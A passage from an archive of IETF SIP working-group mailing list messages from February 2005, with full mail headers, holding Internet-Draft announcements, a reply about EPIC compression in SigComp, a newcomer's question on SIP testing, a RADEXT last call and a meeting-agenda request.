8de5f93cb2b4e3bee75302e9eacc33db --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : Suppression of Session Initiation Protocol REFER Method Implicit Subscription Author(s) : O. Levin Filename : draft-ietf-sip-refer-with-norefersub-01.txt Pages : 8 Date : 2005-2-21 This specification defines a way to suppress an implicit subscription with the Session Initiation Protocol (SIP) REFER method. A new SIP extension tag 'norefersub' is defined to indicate support for this extension. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-refer-with-norefersub-01.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-refer-with-norefersub-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-refer-with-norefersub-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-21152129.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-refer-with-norefersub-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-refer-with-norefersub-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-21152129.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --NextPart-- From sip-bounces@ietf.org Tue Feb 22 23:18:08 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00958 for ; Tue, 22 Feb 2005 23:18:08 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3oL7-0007zG-7A for sip-web-archive@ietf.org; Tue, 22 Feb 2005 23:41:33 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3b72-0004SC-HO; Tue, 22 Feb 2005 09:34:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D38Lc-0006Vr-Pp; Mon, 21 Feb 2005 02:51:17 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26084; Mon, 21 Feb 2005 02:51:10 -0500 (EST) Received: from eagle.ericsson.se ([193.180.251.53]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D38hg-0000fc-Ky; Mon, 21 Feb 2005 03:14:10 -0500 Received: from esealmw141.al.sw.ericsson.se ([153.88.254.120]) by eagle.ericsson.se (8.12.10/8.12.10/WIREfire-1.8b) with ESMTP id j1L7p0O6015816; Mon, 21 Feb 2005 08:51:02 +0100 Received: from esealnt612.al.sw.ericsson.se ([153.88.254.118]) by esealmw141.al.sw.ericsson.se with Microsoft SMTPSVC(6.0.3790.211); Mon, 21 Feb 2005 08:51:38 +0100 Received: by esealnt612.al.sw.ericsson.se with Internet Mail Service (5.5.2657.72) id <1ZVX3PFF>; Mon, 21 Feb 2005 08:51:00 +0100 Message-ID: From: "Lars-Erik Jonsson (LU/EAB)" To: "'Lepine, Jean-Pierre'" , rohc@ietf.org, sip@ietf.org, sipping@ietf.org Date: Mon, 21 Feb 2005 08:50:13 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) X-OriginalArrivalTime: 21 Feb 2005 07:51:38.0237 (UTC) FILETIME=[2C440AD0:01C517EA] X-Spam-Score: 0.3 (/) X-Scan-Signature: 8b6657e60309a1317174c9db2ae5f227 X-Mailman-Approved-At: Tue, 22 Feb 2005 09:34:04 -0500 Subject: [Sip] RE: [rohc] SigComp with EPIC compression for SIP messages X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1601104818==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.6 (/) X-Scan-Signature: a3f7094ccc62748c06b21fcf44c073ee This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============1601104818== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C517E9.F94D6086" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C517E9.F94D6086 Content-Type: text/plain; charset="iso-8859-1" The EPIC work was an experimental work that was brought to the ROHC WG as a header compression proposal. The work was never adopted by the WG and was terminated about 2 years ago, but some of the ideas about Formal Notation (FN) have been used in the ROHC TCP work. The SigComp user guide did (I am not sure about the new version just released) refer to EPIC, which is probably a mistake as algorithms are not specified in that document, and there is no reference available for an EPIC algorithm. BR /Lars-Erik -----Original Message----- From: rohc-bounces@ietf.org [mailto:rohc-bounces@ietf.org]On Behalf Of Lepine, Jean-Pierre Sent: den 18 februari 2005 19:18 To: rohc@ietf.org; sip@ietf.org; sipping@ietf.org Subject: [rohc] SigComp with EPIC compression for SIP messages Hi all, I am currently looking at using SigComp with EPIC compression for SIP messages. After reading relevant RFCs and Internet drafts, a few things are not clear to me. First, I understand that EPIC relies on a profile to compress and decompress data. The EPIC reference implementation from Roke Manor Research Ltd provides a profile for RTP. However, I can't find a profile for SIP. Is there one out there? I think I can write one but this would likely be a problem for interoperability since the decompressor MUST use the same profile. One solution would be to download the profile to the other endpoint but this does not look too good to me, partly because I have a concern about the profile size. Furthermore, I don't see how I could instruct the other endpoint to use a downloaded profile (file name and location ?). Any other option? Also, in the SigComp User Guide (draft-ietf-rohc-sigcomp-user-guide-00.txt), section 4.6 is talking about EPIC and SIP but never mentions the need or existence of a profile. Without a profile, how can EPIC be used ? The mentioned section also shows compression results for three algorithms, including EPIC. All algorithms employed a static dictionary and shared compression. Exactly how the EPIC results were obtained is not clear to me, in particular how EPIC was used ? Only the Hierarchical Huffman algorithm ? EPIC used in conjunction with DEFLATE ? Did all three algorithms used the static dictionary described in RFC3485 ? Any help would be really appreciated, Thanks. ------_=_NextPart_001_01C517E9.F94D6086 Content-Type: text/html; charset="iso-8859-1"
The EPIC work was an experimental work that was brought to the ROHC WG as a header compression proposal. The work was never adopted by the WG and was terminated about 2 years ago, but some of the ideas about Formal Notation (FN) have been used in the ROHC TCP work.
 
The SigComp user guide did (I am not sure about the new version just released) refer to EPIC, which is probably a mistake as algorithms are not specified in that document, and there is no reference available for an EPIC algorithm.
 
BR
/Lars-Erik
 
-----Original Message-----
From: rohc-bounces@ietf.org [mailto:rohc-bounces@ietf.org]On Behalf Of Lepine, Jean-Pierre
Sent: den 18 februari 2005 19:18
To: rohc@ietf.org; sip@ietf.org; sipping@ietf.org
Subject: [rohc] SigComp with EPIC compression for SIP messages

 

Hi all,

 

I am currently looking at using SigComp with EPIC compression for SIP messages. After reading relevant RFCs and Internet drafts, a few things are not clear to me.

 

First, I understand that EPIC relies on a profile to compress and decompress data. The EPIC reference implementation from Roke Manor Research Ltd provides a profile for RTP. However, I can't find a profile for SIP.

Is there one out there?

 

I think I can write one but this would likely be a problem for interoperability since the decompressor MUST use the same profile. One solution would be to download the profile to the other endpoint but this does not look too good to me, partly because I have a concern about the profile size. Furthermore, I don't see how I could instruct the other endpoint to use a downloaded profile (file name and location ?).

Any other option?

 

Also, in the SigComp User Guide (draft-ietf-rohc-sigcomp-user-guide-00.txt), section 4.6 is talking about EPIC and SIP but never mentions the need or existence of a profile.

Without a profile, how can EPIC be used ?

 

The mentioned section also shows compression results for three algorithms, including EPIC. All algorithms employed a static dictionary and shared compression.

Exactly how the EPIC results were obtained is not clear to me, in particular how EPIC was used ?

Only the Hierarchical Huffman algorithm ?

EPIC used in conjunction with DEFLATE ?

Did all three algorithms used the static dictionary described in RFC3485 ?

 

Any help would be really appreciated, Thanks.

 

------_=_NextPart_001_01C517E9.F94D6086-- --===============1601104818== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1601104818==-- From sip-bounces@ietf.org Tue Feb 22 23:18:50 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01035 for ; Tue, 22 Feb 2005 23:18:50 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3oLm-00080I-Oo for sip-web-archive@ietf.org; Tue, 22 Feb 2005 23:42:15 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3b71-0004Rm-Hl; Tue, 22 Feb 2005 09:34:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D36Tm-0004Ya-An for sip@megatron.ietf.org; Mon, 21 Feb 2005 00:51:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA25676 for ; Mon, 21 Feb 2005 00:51:26 -0500 (EST) Received: from [203.124.158.2] (helo=shardagate2.mahindrabt.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D36pu-0006HO-2m for sip@ietf.org; Mon, 21 Feb 2005 01:14:27 -0500 Received: from IMSS-SH-ISP ([10.5.2.145]) by shardagate2.mahindrabt.com (8.12.10/8.12.10) with ESMTP id j1L5n4o9024825 for ; Mon, 21 Feb 2005 11:19:04 +0530 Received: from intranet.sharda.mahindrabt.com ([10.5.0.15]) by IMSS-SH-ISP with InterScan Messaging Security Suite; Mon, 21 Feb 2005 11:25:53 +0530 Received: from IMSS-1 ([10.5.3.66])by intranet.sharda.mahindrabt.com (8.12.10/8.12.10) with ESMTP id j1L6B5N7002981for ; Mon, 21 Feb 2005 11:41:05 +0530 Received: from dscp00439 ([10.5.12.168]) by IMSS-1 with InterScan Messaging Security Suite; Mon, 21 Feb 2005 11:26:53 +0530 Message-ID: <002801c517d9$ae97e760$a80c050a@mahindrabt.com> From: "Akshay Bangalorekar" To: "SIP DEVELOPEMENT" Date: Mon, 21 Feb 2005 11:23:34 +0530 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2720.3000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-imss-version: 2.5 X-imss-result: Passed X-imss-scores: Clean:73.17508 C:22 M:1 S:5 R:5 X-imss-settings: Baseline:1 C:1 M:1 S:1 R:1 (0.0000 0.0000) X-Spam-Score: 0.5 (/) X-Scan-Signature: 32b73d73e8047ed17386f9799119ce43 X-Mailman-Approved-At: Tue, 22 Feb 2005 09:34:04 -0500 Subject: [Sip] TESTING Requirements X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1927118036==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 5ebbf074524e58e662bc8209a6235027 This is a multi-part message in MIME format. --===============1927118036== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0025_01C51807.C8195BF0" This is a multi-part message in MIME format. ------=_NextPart_000_0025_01C51807.C8195BF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Guys I am a newbee in this area of protocol testing, I am developing a SIP= application. So wanted to know the requirements in detail for testing the= SIP application. Looking forward to get some help, thanking in anticipation Regards, Akshay ********************************************************* Disclaimer: The contents of this E-mail (including the contents of the enclosure(s) or= attachment(s) if any) are privileged and confidential material of MBT and= should not be disclosed to, used by or copied in any manner by anyone= other than the intended addressee(s). In case you are not the desired= addressee, you should delete this message and/or re-direct it to the= sender. The views expressed in this E-mail message (including the= enclosure(s) or attachment(s) if any) are those of the individual sender,= except where the sender expressly, and with authority, states them to be= the views of MBT. This e-mail message including attachment/(s), if any, is believed to be= free of any virus. However, it is the responsibility of the recipient to= ensure that it is virus free and MBT is not responsible for any loss or= damage arising in any way from its use ********************************************************* ------=_NextPart_000_0025_01C51807.C8195BF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi Guys
 
I am a newbee in this area of protocol= testing, I=0D am developing a SIP application. So wanted to know the requirements in= detail=0D for testing the SIP application.
 
Looking forward to get some help, thanking= in=0D anticipation
 
Regards,
Akshay
 
 
 
*********************************************************
Dis= claimer:

The contents of this E-mail (including the contents of the= enclosure(s) or attachment(s) if any) are privileged and confidential= material of MBT and should not be disclosed to, used by or copied in any= manner by anyone other than the intended addressee(s). In case you are= not the desired addressee, you should delete this message and/or re-direct= it to the sender. The views expressed in this E-mail message (including= the enclosure(s) or attachment(s) if any) are those of the individual= sender, except where the sender expressly, and with authority, states them= to be the views of MBT.

This e-mail message including= attachment/(s), if any, is believed to be free of any virus. However, it= is the responsibility of the recipient to ensure that it is virus free and= MBT is not responsible for any loss or damage arising in any way from its= use

*********************************************************
------=_NextPart_000_0025_01C51807.C8195BF0-- --===============1927118036== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1927118036==-- From sip-bounces@ietf.org Tue Feb 22 23:18:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01058 for ; Tue, 22 Feb 2005 23:18:57 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3oLu-00080V-Ty for sip-web-archive@ietf.org; Tue, 22 Feb 2005 23:42:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3b70-0004Rc-G8; Tue, 22 Feb 2005 09:34:06 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2tOc-0003h9-Vj for sip@megatron.ietf.org; Sun, 20 Feb 2005 10:53:22 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13681 for ; Sun, 20 Feb 2005 10:53:15 -0500 (EST) Received: from outbound.mailhop.org ([63.208.196.171] ident=mailnull) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2tkd-00013Y-9f for sip@ietf.org; Sun, 20 Feb 2005 11:16:08 -0500 Received: from c-67-182-139-247.client.comcast.net ([67.182.139.247] helo=internaut.com) by outbound.mailhop.org with esmtpa (Exim 4.44) id 1D2tOV-000B5v-Jc for sip@ietf.org; Sun, 20 Feb 2005 10:53:15 -0500 Received: from localhost (aboba@localhost) by internaut.com (8.10.2/8.10.2) with ESMTP id j1KFrEv18248 for ; Sun, 20 Feb 2005 07:53:14 -0800 Date: Sun, 20 Feb 2005 07:53:14 -0800 (PST) From: Bernard Aboba To: sip@ietf.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Mail-Handler: MailHop Outbound by DynDNS.org X-Originating-IP: 67.182.139.247 X-Report-Abuse-To: abuse@dyndns.org (see http://www.mailhop.org/outbound/abuse.html for abuse reporting information) X-MHO-User: aboba X-Spam-Score: 0.1 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab X-Mailman-Approved-At: Tue, 22 Feb 2005 09:34:04 -0500 Subject: [Sip] RADEXT WG Last Call on RADIUS Extension for Digest Authentication X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 0bc60ec82efc80c84b8d02f4b0e4de22 This is an announcement of RADEXT WG last call on "RADIUS Extension for Digest Authentication" prior to sending the document to the IESG for consideration as a Proposed Standard. The document will be available on the IETF archive here: http://www.ietf.org/internet-drafts/draft-ietf-radext-digest-auth-01.txt Prior to its arrival on the archive, it can be retrieved here: http://www.drizzle.com/~aboba/RADEXT/draft-ietf-radext-digest-auth-01.txt RADEXT WG Last Call will last until March 14, 2005. Please send comments to the RADEXT WG mailing list (radiusext@ops.ietf.org), so that they can be tracked. Note that the AAA WG (aaa-wg@merit.edu) is simultaneously requesting a WG Last Call on the "Diameter SIP Application" document, to end on the same day. Since both documents need to remain in sync to ensure interoperation between RADIUS and Diameter, we encourage participants to read both documents and comment on them. The Diameter SIP Application document is available here: http://www.ietf.org/internet-drafts/draft-ietf-aaa-diameter-sip-app-06.txt _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 23 20:42:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18708 for ; Wed, 23 Feb 2005 20:42:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D48OE-0002m5-64 for sip-web-archive@ietf.org; Wed, 23 Feb 2005 21:06:07 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3klF-0005ua-TL; Tue, 22 Feb 2005 19:52:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3iy0-0001LQ-0O for sip@megatron.ietf.org; Tue, 22 Feb 2005 17:57:20 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04287 for ; Tue, 22 Feb 2005 17:57:10 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3jKS-0005py-Aj for sip@ietf.org; Tue, 22 Feb 2005 18:20:33 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-5.cisco.com with ESMTP; 22 Feb 2005 14:57:38 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,108,1107763200"; d="scan'208,217"; a="162739709:sNHT456614184" Received: from vtg-um-e2k4.sj21ad.cisco.com (vtg-um-e2k4.cisco.com [171.70.93.57]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j1MMudYO009867 for ; Tue, 22 Feb 2005 14:56:39 -0800 (PST) Received: e2k4.cisco.com 171.70.93.57 from 10.32.131.73 10.32.131.73 via HTTP with MS-WebStorage 6.5.6944 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Tue, 22 Feb 2005 14:56:38 -0800 From: Cullen Jennings To: "sip@ietf.org" Message-ID: Mime-version: 1.0 X-Spam-Score: 0.5 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Subject: [Sip] draft-jennings-sip-sec-flows-02 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0201989602==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b4a0a5f5992e2a4954405484e7717d8c > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0201989602== Content-type: multipart/alternative; boundary="B_3191928998_652575" > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --B_3191928998_652575 Content-type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Kumiko and I submitted a new version of "Example call flows using SIP security mechanisms". It is in the drafts directory and also html at http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-sec-flow s-02.html --B_3191928998_652575 Content-type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable draft-jennings-sip-sec-flows-02
Kumiko and I submitted a new version of "Example call flows using SIP = security mechanisms". It is in the drafts directory and also html at
http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-= jennings-sip-sec-flows-02.html


 --B_3191928998_652575-- --===============0201989602== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0201989602==-- From sip-bounces@ietf.org Wed Feb 23 20:51:18 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21530 for ; Wed, 23 Feb 2005 20:51:18 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D48Wl-0003eT-03 for sip-web-archive@ietf.org; Wed, 23 Feb 2005 21:14:55 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kkd-0005iG-JK; Tue, 22 Feb 2005 19:51:39 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3hKL-00022P-BR; Tue, 22 Feb 2005 16:12:17 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22714; Tue, 22 Feb 2005 16:12:14 -0500 (EST) Message-Id: <200502222112.QAA22714@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Tue, 22 Feb 2005 16:12:14 -0500 Cc: sip@ietf.org Subject: [Sip] I-D ACTION:draft-ietf-sip-resource-priority-06.txt X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : Communications Resource Priority for the Session Initiation Protocol (SIP) Author(s) : H. Schulzrinne, J. Polk Filename : draft-ietf-sip-resource-priority-06.txt Pages : 33 Date : 2005-2-22 This document defines two new SIP header fields for communicating resource priority, namely "Resource-Priority" and "Accept-Resource- Priority". The "Resource-Priority" header field can influence the behavior of SIP user agents, such as telephone gateways and IP telephones, and Session Initiation Protocol (SIP) proxies. It does not directly influence the forwarding behavior of IP routers. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-resource-priority-06.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-resource-priority-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-resource-priority-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-22160725.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-resource-priority-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-resource-priority-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-22160725.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --NextPart-- From sip-bounces@ietf.org Wed Feb 23 21:55:01 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15647 for ; Wed, 23 Feb 2005 21:55:01 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D49WP-0002L5-Jq for sip-web-archive@ietf.org; Wed, 23 Feb 2005 22:18:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D40ra-0002Lm-4X; Wed, 23 Feb 2005 13:03:54 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D40rY-0002L3-Kf for sip@megatron.ietf.org; Wed, 23 Feb 2005 13:03:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20886 for ; Wed, 23 Feb 2005 13:03:43 -0500 (EST) Received: from nylon.softarmor.com ([66.135.38.164]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D41EB-0003G4-Os for sip@ietf.org; Wed, 23 Feb 2005 13:27:17 -0500 Received: from [206.176.144.210] (206-176-144-210.waymark.net [206.176.144.210] (may be forged)) (authenticated bits=0) by nylon.softarmor.com (8.13.1/8.12.11) with ESMTP id j1NI5eG5004248 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 23 Feb 2005 12:05:40 -0600 Message-ID: <421CC730.8050304@softarmor.com> Date: Wed, 23 Feb 2005 12:10:56 -0600 From: Dean Willis User-Agent: Mozilla Thunderbird 0.8 (X11/20040913) X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Content-Transfer-Encoding: 7bit Subject: [Sip] SIP Agenda Requests, IETF 62 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Content-Transfer-Encoding: 7bit If you have a topic that you think needs to be discussed at IETF 62 in the SIP WG meeting, please send me an agenda request. Please use the Camarillo format if you can: Gonzalo Camarillo Exploders
